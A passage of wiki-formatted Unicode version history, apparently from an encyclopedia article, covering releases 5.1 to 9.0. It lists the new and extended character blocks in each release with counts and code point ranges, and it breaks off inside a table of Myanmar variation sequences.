* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
